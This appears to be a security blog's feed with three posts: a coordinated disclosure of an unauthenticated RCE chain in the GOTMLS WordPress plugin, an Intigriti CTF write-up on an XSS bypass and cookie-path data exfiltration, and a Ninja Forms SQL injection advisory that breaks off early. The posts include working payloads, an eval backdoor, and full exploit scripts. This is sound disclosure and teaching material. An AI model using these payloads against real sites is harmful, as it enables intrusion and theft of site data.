<![CDATA[stealthcopter]]>https://sec.stealthcopter.com/https://sec.stealthcopter.com/favicon.pngstealthcopterhttps://sec.stealthcopter.com/Ghost 5.34Tue, 12 Mar 2024 10:02:03 GMT60<![CDATA[Unauthenticated RCE in Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin CVE-2024-22144]]>https://sec.stealthcopter.com/cve-2024-22144/659e818993f5b000014d5041Tue, 12 Mar 2024 09:54:54 GMTtldr;Unauthenticated RCE in Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin CVE-2024-22144

The Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin is vulnerable to Unauthenticated Remote Code Execution (RCE) by chaining multiple vulnerabilities including unprotected API access, insufficient randomness, insecure design and improper sanitization of data. Final remote code execution was achieved by injection of malicious regex rules causing selective deletion of source code leaving behind a command shell.

Affected Versions: <=4.21.96
CVSS Score: 9.0  
Links: Mitre, NVD
Active installations: 200,000+

About the GOTMLS Plugin


The Anti-Malware Security and Brute-Force Firewall (GOTMLS) is a freemium WordPress plugin that is designed for malware detection and automatic removal. Is an essential tool for many WordPress sites, with over 200,000 active installations.

Unauthenticated RCE in Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin CVE-2024-22144

Vulnerabilities


The vulnerability chain begins with unprotected API functions that leak sensitive data, including server time. This allows brute forcing of an insufficiently random value used for a nonce. This nonce is then used to authenticate to additional API functions that allow updating of malware definitions. These malware regex's can be abused to selectively delete source code resulting in remote code execution. The identified vulnerability has been assigned a CVSS score of 9.0, highlighting its severity.

Unauthenticated API Access

Allowing unauthenticated access to critical API functions in a plugin creates a significant security risk, as it permits any user, to access and potentially manipulate sensitive functionalities, laying the groundwork for potential exploitation and unauthorized actions. Plugins should restrict publicly accessible APIs to only those that are strictly necessary.

Interestingly, the plugin exposes several functions to unauthenticated users via the admin-ajax.php file, by adding actions prefix with wp_ajax_nopriv_. This allows anyone to access GOTMLS_ functions provided they start with the letter l, giving us direct accesss to 4 sensitive functions (load_update, log_session, logintime and lognewkey).

$ajax_functions = array('load_update', 'log_session', 'empty_trash', 'fix', 'logintime', 'lognewkey', 'position', 'scan', 'View_Quarantine', 'whitelist');
// ...
foreach ($ajax_functions as $ajax_function) {
   add_action("wp_ajax_GOTMLS_$ajax_function", "GOTMLS_ajax_nopriv");
   add_action("wp_ajax_nopriv_GOTMLS_$ajax_function", substr($ajax_function, 0, 1) == "l"?"GOTMLS_ajax_$ajax_function":"GOTMLS_ajax_nopriv");
}

The logintime function exposes the server's microtime, information which can be used for the next part of the vulnerability to calculate and brute force a valid nonce due to insufficient randomness.

Insecure Nonce Generation and Validation

It is a dangerously common anti-pattern to create what appears to be a random hash using predictable or known inputs (remember predictable input gives predictable output). This can leave systems vulnerable to bad actors who could directly guess or brute force these values.

The code snippet below illustrates how the plugin was insecurely generating nonces:

md5(substr(number_format(microtime(true), 9, '-', '/'), 6).GOTMLS_installation_key.GOTMLS_plugin_path);

In this instance, GOTMLS_plugin_path was predictable, GOTMLS_installation_key was known as it is generated from the site URL. The server also leaks its current microtime to 4 decimal places. As number formatter is forcing it to output to 9 decimal places the last 5 digits will be "random". This means that even known exact time a brute force approach would still need to try a few million hashes before it could successfully guess a valid once. We can use some profiling and maths to try and predict the creation time more accurately by checking the server's microtime directly before and directly after the nonce generation.

A key aspect of nonce security is ensuring that they are tied to specific sessions. This practice adds an additional layer of security, as it associates each nonce with a unique user session, making it significantly more difficult for attackers to exploit. In this plugin nonces are stored globally and reused between different users.

Another interesting quirk in occurs when the nonce is validated; The function accepts either a single value for a nonce or an array of values as shown in the code snippet below:

if (is_array($_REQUEST["GOTMLS_mt"])) {
    foreach ($_REQUEST["GOTMLS_mt"] as $_REQUEST_GOTMLS_mt)
        if (strlen($_REQUEST_GOTMLS_mt) == 32 && isset($GLOBALS["GOTMLS"]["tmp"]["nonce"][$_REQUEST_GOTMLS_mt]))
            return (INT) $GLOBALS["GOTMLS"]["tmp"]["nonce"][$_REQUEST_GOTMLS_mt];
    return 0;
} 
elseif (strlen($_REQUEST["GOTMLS_mt"]) == 32 && isset($GLOBALS["GOTMLS"]["tmp"]["nonce"][$_REQUEST["GOTMLS_mt"]])) {
    return (INT) $GLOBALS["GOTMLS"]["tmp"]["nonce"][$_REQUEST["GOTMLS_mt"]];
}

This significantly reduces the number of requests required to brute force a valid nonce, as we could send multiple guesses at once. How many values could be validated in a single request is limited only by PHP's max_input_vars. On standard setups this typically restricts the number of variables in a HTTP request to 1000.

Another flaw in this plugin's functionality was that an attacker could invalidate all existing nonces stored on the server and insert up to 25 new ones by modifying a time parameter with each request. This allows an attacker to quickly create many nonces over a short period of time which massively increases the changes of guessing a correct one.

Combining all of these flaws was quite technical but resulted in an attack that could be completed reliably within 30 seconds to a few minutes. This was first tested against an instance running on localhost and confirmed by patchstack by running a vulnerable instance of the plugin on one AWS server and attacking it with another.

python gotmls.py http://44.201.189.48
[+] Exploiting Host: http://44.201.189.48
[+] Calculated Installation Key: 124b65e39d7b19df6a45cdaa16dc6044
[+] Using Plugin Path: /var/www/html/wp-content/plugins/gotmls/
[+] Calibrating timing attack:
 ├ Offset time:     0.00778 ms (min:0.00691 max:0.00963)
 └ Round trip time: 0.02902 ms (min:0.02769 max:0.03194)
[+] Starting attack:
 ├ Server Microtime: 1704461766.5626
 ├ Clearing Existing Nonces
 ├ Start time: 1704461766.6197805
 ├ Midpoint:   1704461767.0998244
 ├ End time:   1704461767.5798683
 └ 25 Nonces Injected in 0.96009 s (avg 0.038404)
[?] Attack feasibility calculation
 ├ These values are the maximum search space, average attack should take 50% of these
 ├ Hashes: 42,243,862
 ├ Requests: 42,456
 └ Estimated Time: 1,630s
[*] Press enter to continue or ctrl+c to stop
[-] Tested 1,058,680 hashes over 1,064 requests (speed 36,566 h/s)
[+] Found hash!!! (Tested: 1,058,680 hashes)
 └ Brute forced a valid nonce in 32.60srequests (speed 36,657 h/s)
 └ Converted 995 hashes into single nonce e0c5ed6becf3f50ba6abe787f15f2752
[+] Validated nonce and server key
Output of the exploitation script

Another interesting thing to note is that the PHP execution and response (~90ms) is significantly slower than the HTTP request's time (2-10ms) in flight. This means that for the attack demonstrated here the connection speed is not the main factor contributing to the search space. This means that this vulnerability is incredibly dangerous as it has an approximately constant attack space making it feasible even against remote targets. It is even worse against more powerful servers and those using multi-threading, as they would allow for more nonces to be created in less time.

Remote Code Execution by Injecting Malicious Malware Rules

Once a valid nonce is obtained, the plugin gives you access to all the ajax functions, not just those beginning with l. These are more sensitive administrative API functions that can be accessed and manipulated.

One such function, GOTMLS_ajax_load_update, allows for the update of PHP serialized, base64 encoded malware definitions. This part of the function should have been designed to be private and only accessible when called internally, not by an end user.

The malware definitions are protected against direct insecure deserialization attacks thanks to a small regex protection. However, we can now insert custom regex's into these definitions, and continue our attack using intended functionality of the plugin. It is possible to specially craft some regex's so that the plugin will scan its own source code and selectively delete parts, leaving behind an exploitable code fragment. There are likely countless ways to do this, I selected one that left behind an evil eval statement. Below you can see the PHP code I wrote with the 3 regex's to achieve when running on the images/index.php file.

$inj = array("known" => array(
    "stealthcopter testing 1"=>array(0 => 'M4t01', 1 => '/\$bad = array\("/'),
    "stealthcopter testing 2"=>array(0 => 'M4t02', 1 => '/", "preg_replace.*?isset/s'),
    "stealthcopter testing 3"=>array(0 => 'M4t03', 1 => '/&&is_numeric\(.*?\n\)(?=;)/s')
));
$serial = @serialize($inj);

echo $serial."\n";
echo urlsafe_b64encode($serial)."\n";

This gives us a serialized PHP object of:

a:1:{s:5:"known";a:3:{s:23:"stealthcopter testing 1";a:2:{i:0;s:5:"M4t01";i:1;s:18:"/\$bad = array\("/";}s:23:"stealthcopter testing 2";a:2:{i:0;s:5:"M4t02";i:1;s:27:"/", "preg_replace.*?isset/s";}s:23:"stealthcopter testing 3";a:2:{i:0;s:5:"M4t03";i:1;s:29:"/&&is_numeric\(.*?\n\)(?=;)/s";}}}

Which in base64 is:

YToxOntzOjU6Imtub3duIjthOjM6e3M6MjM6InN0ZWFsdGhjb3B0ZXIgdGVzdGluZyAxIjthOjI6e2k6MDtzOjU6Ik00dDAxIjtpOjE7czoxODoiL1wkYmFkID0gYXJyYXlcKCIvIjt9czoyMzoic3RlYWx0aGNvcHRlciB0ZXN0aW5nIDIiO2E6Mjp7aTowO3M6NToiTTR0MDIiO2k6MTtzOjI3OiIvIiwgInByZWdfcmVwbGFjZS4qP2lzc2V0L3MiO31zOjIzOiJzdGVhbHRoY29wdGVyIHRlc3RpbmcgMyI7YToyOntpOjA7czo1OiJNNHQwMyI7aToxO3M6Mjk6Ii8mJmlzX251bWVyaWNcKC4qP1xuXCkoPz07KS9zIjt9fX0

This was then passed to the load_update ajax function and the malware definitions were successfully updated. Following this we now just need to call another endpoint to execute a scan on a single file images/index.php and it will be executed.

Unauthenticated RCE in Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin CVE-2024-22144
A visual demonstration of how the 3 regexs work to selectively delete code and leave behind an exploitable code fragment.

The gif above shows the original source code, and the 3 parts that are removed using the injected malware regex definitions. Following the selective deletions the following code is left behind:

eval($_REQUEST["mt"]);

This leaves behind a basic backdoor, eval, will execute any string passed into it as PHP code. We can trigger this by sending a simple bit of PHP code in the mt parameter to execute arbitrary PHP commands such as:

die(system("id"));

This leaves us with a full unauthenticated remote code execution attack as can be shown in the screenshot below:

[+] Found hash!!! (Tested: 1,058,680 hashes)
 └ Brute forced a valid nonce in 32.60srequests (speed 36,657 h/s)
 └ Converted 995 hashes into single nonce e0c5ed6becf3f50ba6abe787f15f2752
[+] Validated nonce and server key
[!] Injecting a shell into images/index.php is a destructive process
[*] Press any key to continue or ctrl+c to quit
[+] Injecting malicious update
[+] Executing shell with: id
 └ uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

Now that this backdoor shell has been created we can access it using curl or in the browser:

Unauthenticated RCE in Anti-Malware Security and Brute-Force Firewall GOTMLS WordPress Plugin CVE-2024-22144
Screenshot showing the result from the newly uploaded shell post exploitation

Timeline

Thanks to Eli Scheetz the author of GotMLS for fixing this vulnerability and for generously donating a few coffees to fuel my research ☕. Also a shoutout to Dave from Patchstack for his patience getting the exploit working.

  • 28/01/24 (a few days before) - I knew there was something interesting here but discovery and development of this exploit took quite a few days as it was a tricky beast.
  • 04/01/24 ( 0 day) - Disclosure to PatchStack
  • 05/01/24 (+1 day) - PatchStack tested and validated the vulnerability chain. They awarded 180 AXP with an additional 1.5x for writing an advisory. Resulting in a total of 270 AXP.
  • 20/02/24 (+16 days) - Patch published
  • 12/03/24 (+37 days) - Vulnerability Published

Conclusion

The vulnerabilities discussed here underscore the importance of securing all aspects of a plugin, especially those designed for security purposes. For developers, it is crucial to ensure that every function and API endpoint is secured with appropriate authentication and validation mechanisms to prevent exploitation. It is highly recommended to avoid creating your own security functions and to utilize those already built into WordPress, such as nonce creation and validation. These have been tested and approved by a larger community, making them more reliable than creating your own from scratch.

]]>
<![CDATA[Intigriti February CTF Challenge: Love Letter Storage]]>tl;dr: Solved an awesome Valentine's Day challenge by @goatsniff from Intigriti. I gained valuable insights into using character conversions to bypass XSS protections and learned about data exfiltration through the manipulation of cookie paths. This details the exploits I used and my journey along the way and

]]>
https://sec.stealthcopter.com/intigriti-february-ctf-challenge-love-letter-storage/65ce03d293f5b000014d540aThu, 22 Feb 2024 00:01:00 GMT

tl;dr: Solved an awesome Valentine's Day challenge by @goatsniff from Intigriti. I gained valuable insights into using character conversions to bypass XSS protections and learned about data exfiltration through the manipulation of cookie paths. This details the exploits I used and my journey along the way and also features a live demo video where I transform the process into an automated Python exploit script, adding a practical and interactive dimension to the challenge.

Contents

This post is a bit longer, so feel free to jump to the sections that most interest you. For a hands-on demonstration of how I turned this challenge into a Python proof-of-concept (PoC) exploit script, be sure to check out the 'Live Exploit Creation' section.

Introduction

From the beautiful design and the intricacies of the source code, it's evident that a tremendous amount of 💖 love 💖 and effort went into crafting this challenge. Completing it has been an fun journey, striking the perfect balance between frustration and excitement. It wasn't just a test of skill but also a great learning experience.

Intigriti February CTF Challenge: Love Letter Storage

The challenge

Exploring the web application, we see it offers a mix of standard and unique functionalities:

  • Standard Stuff: These include basic app functionalities like registration, login, and logout. The app uses JWTs stored as HTTP-only cookies for authorization.
  • App Stuff: Users can save 'love letters' in slots numbered 0 to 3, which can later be retrieved using the user's password. The password requirement adds a layer of complexity to the challenge, especially since we're unlikely to know the admin's password.
  • CTF Stuff: There's a 'Contact Admin' feature, allowing users to send a URL to the admin. The admin will click on this link, hinting that crafting an XSS exploit could be key to manipulating the admin user and accessing the love letter. This is effectively a phishing simulation in a CTF challenge.

The source code is available for download on all pages, which is convenient as my background in AppSec means that I much prefer whitebox testing. The code, primarily contained within a single app.js file, includes all the endpoints observable in the app's functionality. However, two additional endpoints at the bottom of app.js caught my attention: setTestLetter and readTestLetter. Even the 404 page seemed to hint that these might be the initial steps towards a solution.

app.use('*', (req, res) => {
    res.send('Can\'t find that page, try debugging at <a href="/setTestLetter">/setTestLetter</a> or <a href="/readTestLetter/:uuid">/readTestLetter/:uuid</a>!');
});

The setTestLetter function allows us to create test letters without authorization and generates a URL using a UUID as an identifier to this newly saved message:

// A place for us to run tests without affecting prod letters!
// Currently testing:
// - Rich text via HTML with DOMPurify for safety
// - Base64 encoding
app.get("/setTestLetter", async function (req, res) {
    try {
        const { msg } = req.query;

        if (!msg) {
            return res.status(400).send("Missing msg parameter");
        }

        // We are testing rich text for the love letters! Best be safe!
        const cleanMsg = DOMPurify.sanitize(msg);

        const letter = await DebugLetters.create({
            letterValue: Buffer.from(cleanMsg).toString('base64')
        });

        return res.redirect(`/readTestLetter/${letter.letterId}`);
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});
setTestLetter endpoint and function

And unsurprisingly the readTestLetter endpoint is responsible for getting and rendering this message:

app.get("/readTestLetter/:uuid", async function (req, res) {
    try {
        const { uuid } = req.params;

        if (!uuid) {
            return res.status(400).send("Missing uuid in path parameter");
        }

        const letter = await DebugLetters.findOne({
            where: { letterId: uuid }
        });

        if (!letter) {
            return res.status(404).send("Letter not found");
        }

        const decodedMessage = Buffer.from(letter.letterValue, 'base64').toString('ascii');

        return res.status(200).send(decodedMessage);
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});
readTestLetter endpoint and function

With these functions identified as potential targets, it seems likely they're vulnerable to some form of cross-site scripting attack. We will need to leverage this to exploit the admin user by supplying them with the URL to one of these letters. Let's get to it:

Step 1: Stored Cross-Site Scripting (XSS) with a twist

We have the ability to create saved test messages on the server but the message is run through DOMPurify.sanitize(msg); which protects against XSS attacks. DOMPurify is the latest version (3.0.8), so we are unlikely to be able to find a bypass that will result in a working XSS. As these functions feel like the probable targets we have to ask:

🤔
What else is interesting here?

There's isn't much else to these functions, so the answer has to be the use of Buffer and the conversion to base64 and then to ASCII. Immediately this screams that this is something that we should play with to see what happens when we supply non-ASCII chars.

To investigate this, I set up a local Node.js script for rapid testing. This will save us having to hammer the server to find some interesting characters, giving us a sweet bonus to 🤫 stealth 🥷:

const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

var input = '<a href="test">testing123</a>';
var cleanMsg = DOMPurify.sanitize(input);

var buf = Buffer.from(cleanMsg).toString('base64');
var out = Buffer.from(buf, 'base64').toString('ascii');

console.log(buf.toString());
console.log(out);

To figure out what non-ASCII chars may be of interest I created a small Python script that will output some of the more popular Unicode chars

subsets = [
    (0x80, 0xFF),     # Extended ASCII
    (0x00, 0x1F),     # Control Characters
    (0x100, 0x17F),   # Latin Extended-A
    (0x400, 0x4FF),   # Cyrillic
    (0x370, 0x3FF),   # Greek and Coptic
    (0x2000, 0x206F), # General Punctuation
    (0x2200, 0x22FF), # Mathematical Operators
    (0x2600, 0x26FF), # Miscellaneous Symbols
    (0x1F600, 0x1F64F) # Emojis
]

with open("targeted_chars.txt", "w", encoding="utf-8") as file:
    for start, end in subsets:
        for codepoint in range(start, end + 1):
            try:
                file.write(chr(codepoint))
            except:
                continue
        file.write('\n')

print("Targeted non-ASCII characters generated.")
Short Python script to output some of the more common unicode characters

Now using the chars we've generate we can try some of them inside our test script to see what type of conversion occurs. For brevity I've only included a small subset of chars here:

var input = '<a href="test">11111>∓∔∕∖∗∘∙√∛∜∝∞∟bbb∠∡∢∣∤∥∦∧∨∩∪∫∬∭ccc∮∯∰∱∲∳∴∵∶∷∸∹∺∻∻∼∽∾2222</a>';

When we run this, it gives us an output of:

$ node test.js
PGEgaHJlZj0idGVzdCI+MTExMTEmZ3Q74oiT4oiU4oiV4oiW4oiX4oiY4oiZ4oia4oib4oic4oid4oie4oifYmJi4oig4oih4oii4oij4oik4oil4oim4oin4oio4oip4oiq4oir4ois4oitY2Nj4oiu4oiv4oiw4oix4oiy4oiz4oi04oi14oi24oi34oi44oi54oi64oi74oi74oi84oi94oi+MjIyMjwvYT4=
<a href="test">11111&gtbbb !"#$%&'()*+,-ccc./0123456789:;;<=>2222</a>

We can see that all of the chars have been converted to standard ASCII and that two of them are of particular interest < and > which come from and respectively.

This means we can create a string like the following:

∼script∾alert(1)∼/script∾

Then when this is converted to ASCII by our application it should leave us with a classic XSS payload. Running this through our test node.js script gives:

$ node test.js
4oi8c2NyaXB04oi+YWxlcnQoMSniiLwvc2NyaXB04oi+
<script>alert(1)</script>

Success! Now lets try it against the server using Burp. First we URL encode our payload to get %E2%88%BCscript%E2%88%BEalert(1)%E2%88%BC/script%E2%88%BE as the msg we need to send:

Intigriti February CTF Challenge: Love Letter Storage
Burp request and response after sending our first payload attempt

Interestingly when we try this payload against the server it results in some mangling. We see b followed being inserted alongside the chars we expect, this is actually a b followed by a null char but that doens't survive the transmission. So we're pretty close but this payload wont won't quite work when run in a browser...

All hope is not lost as we can perform some simple tricks that will result in valid HTML/JavaScript. There are a few ways to do this for simplicity I replaced the mangled greater than symbols with actual >. Note that DOMPurify wont mind as it doesn't see unpaired tags as a problem. Then as the final fix I added a JavaScript comment to make the contents of the script valid:

∼script>alert(1);//∼/script>

When URL encoded this is %E2%88%BCscript%3Ealert(1);//%E2%88%BC/script%3E, let's test it against the server now:

Intigriti February CTF Challenge: Love Letter Storage
Burp request and response after sending our modified payload

This looks promising! Last thing left to do is check it out in a browser to confirm we pop an alert:

Intigriti February CTF Challenge: Love Letter Storage
Pop it like it's hot

Outstanding 🥳

Now that the hard bit is solved, we need to move on to the hard bit...

Interlude: Admin Puppeteer

But before diving further, let's take a quick interlude to understand the behavior of the admin user upon clicking the link. This insight is essential for comprehending the exploitation mechanism. The admin's process is as follows:

  1. Login: Admin logs in to their account
  2. Phishing: Click on the provided link
  3. Panics: Reacts and closes the page
  4. Direct Visit: Revisits the webpage directly
  5. Account Verification: Checks if they are still on their own admin account (error if not)
  6. Love Letter Check: Checks if the love letter still exists (if it does nothing happens)
  7. Letter Restoration: Rewrites the love letter if it is missing

For those curious about the technical implementation, this sequence is performed using Puppeteer, a headless browser. The details can be found in the sendAdminURL endpoint within the source code.

Step 2: Admin Exploitation for Data Exfiltration

Now that we have the XSS working and can send the admin links to click on, we have a way to execute arbitrary JavaScript as the admin user. The challenge now is to be able to exfiltrate a love letter from the admin. However,  the endpoint to show the contents of a letter requires the user's password, which we do not know. So we have to get creative...

I always like to take baby steps with my exploits and test each step. Therefore I figured that before I try to go straight for a solution that it would first be good to demonstrate that data exfiltration was possible. I managed to achieve this by first logging out of the admin account, logging into our user account and saving a letter. The process looks like this:

  1. Logout of the admin account - Sending a DELETE request to /logout endpoint.
  2. Login to our user account - Setting a cookie with our user's JWT. Alternatively this could be done by calling /login with our username and password.
  3. Store data to our account - Making a POST request to storeLetter with our data to exfiltrate in the letterValue field.

The implementation of this process in code is as follows:

async function sendRequests(){
    // Logout of Admin account
    await fetch('https://api.challenge-0224.intigriti.io/logout', 
        { method: 'DELETE', credentials: 'include' }
    );

    // Manuall set our user's JWT
    document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/; domain=api.challenge-0224.intigriti.io";

    // Post data to our own account
    await fetch('https://api.challenge-0224.intigriti.io/storeLetter', {
        method: 'POST',
        credentials: 'include',
        headers: { 'Content-Type': 'application/json'},
        body: JSON.stringify({
            "letterId": "3",
            "letterValue": "Data Exfil"
        })
    });
}

sendRequests();

We perform our attack by first uploading the payload as a test letter and then sending the link to the admin. The admin, upon noticing that they had been logged out of their account and into ours, might have raised an alarm. However, we successfully managed to exfiltrate data before this switch was detected:

Great so now we have data exfiltration and we can post data from the admin to our own user. While experimenting with this, I realized that we could take this one step further by manipulating the cookies.

Intigriti February CTF Challenge: Love Letter Storage
Cookies!

The JWT used for authorization in this application is set as HTTP-only cookie, meaning that the browser will happily send it along with requests, but it is totally inaccessible in JavaScript. Unfortunately this means we can't steal the JWT and impersonate the admin 😞.

However, one interesting aspect of cookies is that they are scoped to a domain and a path. When a browser prepares to send a request, it checks for all applicable cookies. If multiple cookies are valid, it sends them all. Crucially, the order in which these cookies are dispatched depends on the specificity of their match. A cookie that precisely matches a specific path is sent before a more generally matching one.

This means that we can use our payload to inject additional cookies into the admin's browser for specific endpoints that could be preferentially sent to the API in subsequent requests. By carefully selecting a few endpoints to authorize with our JWT, while retaining the admin's JWT for others, we can exfiltrate the love letter without triggering any account mismatch checks.

Step 3: Putting it all together

The final payload, it turns out, is surprisingly straightforward. It involves setting two new cookies on the getLetterData and storeLetter paths.

document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/getLetterData; domain=api.challenge-0224.intigriti.io";
document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/storeLetter; domain=api.challenge-0224.intigriti.io";

We base64 and URL encode this payload and wrap it in atob to decode it and eval to execute it. Our final msg parameter will look like this:

%E2%88%BCscript%3Eeval(atob(`ZG9jdW1lbnQuY29va2llID0gImp3dD1leUpoYkdjaU9pSklVekkxTmlKOS5leUpwWkNJNk1UQTVMQ0oxYzJWeWJtRnRaU0k2SW5SbGMzUnBibWN4TWpNaUxDSmxlSEJwY21GMGFXOXVJam95TURJek5URXpNRFE1TVRVMWZRLkNiSl90ZmhTRUtNQnQ5U05TZFRmX2g0LUF6SVNGM0hiOWx3NVhlcnJUZzA7IHBhdGg9L2dldExldHRlckRhdGE7IGRvbWFpbj1hcGkuY2hhbGxlbmdlLTAyMjQuaW50aWdyaXRpLmlvIjsKZG9jdW1lbnQuY29va2llID0gImp3dD1leUpoYkdjaU9pSklVekkxTmlKOS5leUpwWkNJNk1UQTVMQ0oxYzJWeWJtRnRaU0k2SW5SbGMzUnBibWN4TWpNaUxDSmxlSEJwY21GMGFXOXVJam95TURJek5URXpNRFE1TVRVMWZRLkNiSl90ZmhTRUtNQnQ5U05TZFRmX2g0LUF6SVNGM0hiOWx3NVhlcnJUZzA7IHBhdGg9L3N0b3JlTGV0dGVyOyBkb21haW49YXBpLmNoYWxsZW5nZS0wMjI0LmludGlncml0aS5pbyI7`));//%E2%88%BC/script%3E

We send this payload to the server using Burp:

Intigriti February CTF Challenge: Love Letter Storage
Burp request and response after sending our exploit

Next, we provide the admin with a link to our freshly stored XSS payload:

Intigriti February CTF Challenge: Love Letter Storage
The webapp showing the admin user clicking on our malcious link

If everything has gone according to plan we should now have a newly stored love letter in our account. Thankfully we do, and this leaks a beautiful love letter from Intigriti 😍:

Intigriti February CTF Challenge: Love Letter Storage
Web app showing the new message in our account with data exfiltrated from the admin's account
We at Intigriti have been cheering you on from the sidelines and you never fail to impress us. Your bug hunting skills? Amazing. Every time you outsmart a tricky piece of code, we can't help but think, \"How did we get so lucky to have these incredible hackers on our platform?\" Keep on being the awesome bug hunters that you are b\u0000\u0013 the internet's a heck of a lot safer (and more fun) with you in it.

Live Exploit Creation

Now that we've demonstrated the exploit manually, I wanted to take it a step further by showing you how I would create a Python script to automate the entire process, live:

For your convenience, the video playback is set at 2.5x speed, so you won't have to spend too much time watching. My aim is to give you a glimpse into my approach to structuring exploit scripts and how I tackle debugging in real-time.

The exploit script created in this video can be seen below, it's a little rough around the edges and could do with some more error catching, but I'm pretty pleased with how it turned out:

import base64
import time

import requests

URL = 'https://api.challenge-0224.intigriti.io'


def generate_payload(payload):
    # We write a function to wrap our JavaScript payload into something that will bypass dompurify
    # We do this by first base64'ing our payload then using atob to decode it and eval to execute it:
    b64 = base64.b64encode(payload.encode())
    # Remember to wrap it in our non-ascii script tags:
    wrapped = f'∼script>eval(atob(`{b64.decode()}`));//∼/script>'
    return wrapped


def save_test_letter(msg):
    r = requests.get(f'{URL}/setTestLetter?msg={msg}', allow_redirects=False)
    if r.ok:
        # We disable redirects and grab the location header to get the actual URL rather than following it
        return r.headers['Location']


def register(username, password):
    data = {'username': username, 'password': password}
    r = requests.post(f'{URL}/register', json=data)
    if r.ok and 'User registered' in r.text:
        return True


def login(username, password):
    data = {'username': username, 'password': password}
    r = requests.post(f'{URL}/login', json=data)
    if r.ok:
        return r.json()['token']


def get_letter(jwt, password, id):
    data = {'letterId': id, 'password': password}
    # We need to attach the JWT as auth for this request...
    cookies = {'jwt': jwt}
    r = requests.post(f'{URL}/readLetterData', json=data, cookies=cookies)
    # This is working but we have no letter saved here yet...
    return r.text


def send_admin_url(jwt, url):
    data = {'adminURL': url}
    cookies = {'jwt': jwt}
    r = requests.post(f'{URL}/sendAdminURL', json=data, cookies=cookies)
    return r.text


def exploit():
    # Now lets move on to the user stuff:
    # Create a random username each time
    username = f'stealth_{time.time():.0f}'
    password = username
    print(f'[+] Username: {username}')

    if not register(username, password):
        # Give up if we couldn't register...
        print(f'[!] Could not register')
        return

    print('[+] Registered')

    jwt = login(username, password)
    print(f'[+] JWT: {jwt}')

    # We've registered / logged in, now lets test we can retrieve a saved letter
    test = get_letter(jwt, password, 3)
    print(f'[?] Testing getting saved letter: {test}')

    # Function to contain our exploit chain
    real_payload = f"""
      document.cookie = "jwt={jwt}; path=/getLetterData; domain=api.challenge-0224.intigriti.io";
      document.cookie = "jwt={jwt}; path=/storeLetter; domain=api.challenge-0224.intigriti.io";
    """

    payload = generate_payload(real_payload)
    print(f'[+] Payload: {payload}')

    # Now we need to upload the payload
    payload_url = URL + save_test_letter(payload)
    print(f'[+] Payload URL: {payload_url}')

    # Now we need to send the URL to the admin user...
    # We need URL to be absolute, but we sent a relative...
    print(send_admin_url(jwt, payload_url))

    # Our final attack should write saved letter to id 3
    message = get_letter(jwt, password, 3)
    print(f'[+] Getting saved letter: {message}')


exploit()
Exploit script from the live demo video

Summary

Wow, this turned out to be a much more comprehensive write up than I originally intended, but I think that just demonstrates how much I enjoyed the challenge! Shoutout to @goatsniff once again for the amazing challenge.

If you found this post useful especially the live exploit video, please do reach out and let me know by finding me on the Intigriti Discord 💖.

]]>
<![CDATA[CVE-2024-0685 Ninja Contact Forms Data Export SQLi]]>https://sec.stealthcopter.com/ninja-contact-forms/65abb12e93f5b000014d520aSat, 10 Feb 2024 15:06:04 GMTtldr;CVE-2024-0685 Ninja Contact Forms Data Export SQLi

The Ninja Forms Contact Form Plugin for WordPress is susceptible to an SQL injection vulnerability when processing data export requests. By crafting a malicious email address containing single quotes, an attacker can escape the query encapsulation and inject arbitrary SQL. This vulnerability gains an intersting twist under GDPR, as data export requests are a legal requirement, potentially making this much more likely to be exploitable.

Affected Versions: <=3.7.1
CVSS Score: 5.9
Links: Mitre, NVD
Active installations: 800,000+
Bounty: $165 (WordFence)

About Ninja Contact Forms

Ninja Contact Forms is a popular drag-and-drop form builder for WordPress, known for its user-friendly interface and flexibility in creating various types of forms. It's widely used due to its ease of integration with other WordPress plugins and services.

CVE-2024-0685 Ninja Contact Forms Data Export SQLi

Vulnerability

In the Ninja Contacts Form code, the function get_subs_by_email is called when performing a data export requests. The user's email address is directly inserted into a raw SQL statement.

 private function get_subs_by_email( $email_address ) {
     global $wpdb;

     // query to find any submission with our requester's email as value
     $anon_subs_query = "SELECT DISTINCT(m.post_id) FROM `" . $wpdb->prefix
            . "postmeta` m
             JOIN `" . $wpdb->prefix . "posts` p ON p.id = m.post_id
             WHERE m.meta_value = '" . $email_address . "'
             AND p.post_type = 'nf_sub'";

SQL injections often occur in code where developers assume data is already safe, and concatenation is used instead of prepared statements.

🤓
RFC Side Note: Two primary RFCs define what a valid email can be, RFC 5321 governing the domain part (the bit after @) and RFC 5322 for the local part (the bit before @), these supeced an older RFC 822

According to RFC 5322, the local (first) part of email addresses (before @domain) can contain several special characters, including single quotes, forward slashes, asterisks and several others. This gives interesting potential attack vectors including but not limited to: XSS, SQL injection and path traversal.

🗒️
Note that not all email providers will allow all special characters according to RFC5321 specifications. Testing with a custom domain on ProtonMail showed they allowed these chars and a maximum length of around 250 chars.

So now we can escape the string boundaries in SQL query and while spaces are not valid, SQL comments /**/ can be used instead to separate keywords. So a malcious email address could be crafted look like this:

